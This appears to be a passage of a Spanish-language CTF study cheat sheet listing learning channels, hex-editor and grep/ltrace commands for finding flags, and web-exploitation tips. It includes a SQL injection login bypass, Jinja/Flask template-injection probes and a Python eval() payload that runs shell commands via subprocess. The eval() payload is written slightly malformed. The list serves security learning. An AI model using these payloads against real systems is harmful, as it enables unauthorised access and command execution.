    - [https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php](https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php)
- Ver CNC GCode
    - [https://ncviewer.com/](https://ncviewer.com/)
Descargar herramienta
  • Equipo de ciberseguridad de UF (estoy un poco sesgado, pero definitivamente uno de los mejores canales de YouTube para esto)
  • Gynvael
    • Hace writeups en video increíblemente intuitivos. Ha completado todo picoCTF 2019 (eso es mucho)
  • Black Hills Information Security
    • Empresa de seguridad que produce muchísimo contenido educativo.
    • Siempre haciendo cursos y webcasts gratuitos sobre temas de seguridad.
  • stacksmashing
    • Videos increíbles de ingeniería inversa y hacking de hardware.
    • Tiene una serie muy interesante donde invierte WannaCry.
  • Ben Greenberg
    • Profesor de GMU con un montón de tutoriales en video sobre pwn y malware.
    • Un poco desactualizado, pero aún bueno.
  • InfoSecLab at Georgia Tech
    • Clases en profundidad buenas y avanzadas sobre pwn.
    • Requiere algo de conocimiento previo.
  • RPISEC
    • Reuniones del equipo de RPI University.
    • Muy avanzado y asume un poco de conocimiento previo en ciencias de la computación.
  • Matt Brown
    • Pentester de seguridad embebida.
    • Hace excelentes videos para principiantes sobre hacking de IoT.
  • Phoenix Exploit Education
    • Montones de problemas de explotación binaria ordenados por dificultad.
    • Incluye código fuente y viene con una VM que tiene todos los binarios.
  • hexedit
    • hexedit <archivo.xyz>
    • Puede que tengas que cambiar la firma del archivo en algunas imágenes para que se abran.
    • Lista de firmas de archivo comunes
  • Ghex (otro editor hexadecimal pero con GUI. Bueno si necesitas saltar a un byte específico)
    • ghex <archivo.xyz>
  • Los archivos docx son contenedores, por lo que puedes descomprimirlos para encontrar contenido oculto.
    • unzip <archivo.docx>
  • Grep - Una buena forma de usar grep para encontrar la flag recursivamente:
    • grep -r --text 'picoCTF{.*}'
    • egrep -r --text 'picoCTF{.*?}
    • Puedes cambiar 'picoCTF' por el inicio de la flag que estás buscando.
  • Ltrace - Te permite ver qué está haciendo el código mientras ejecutas el programa:
    • ltrace ./<archivo>
    • ltrace -s 100 ./<archivo>
      • Ltrace acorta cadenas muy largas. Puedes usar -s para aumentar cuántos caracteres muestra ltrace. Bueno para cuando se ven strcmp con cadenas grandes.
    • https://www.youtube.com/watch?v=gzLPVkZbaPA&ab_channel=MartinCarlisle
  • Automatiza el proceso de inyección SQL
  • Inyección SQL básica
    • Introduce 'OR 1=1-- en el formulario de inicio de sesión
    • En el servidor esto se evaluará como SELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = ''
    • 1=1 se evalúa como verdadero, lo que satisface la sentencia OR, y el resto de la consulta se comenta con --
  • PayloadsAllTheThings
    • Gran recurso para explotación web con muchos payloads
  • Inyección de plantillas
    • tplmap
      • Inyección automatizada de plantillas del lado del servidor
    • Jinja Injection
      • {{ config.items() }}
    • Flask Injection
      • {{ config }}
    • Función eval() de Python
      • __import__.('subprocess').getoutput('<comando>')
        • asegúrate de intercambiar los paréntesis si no funciona
      • __import__.('subprocess').getoutput('ls').split('\\n')
        • listar archivos en el sistema
    • Más inyección de Python
  • Cross Site Scripting
    • CSP Evaluator
      • Evaluador de Política de Seguridad de Contenido de Google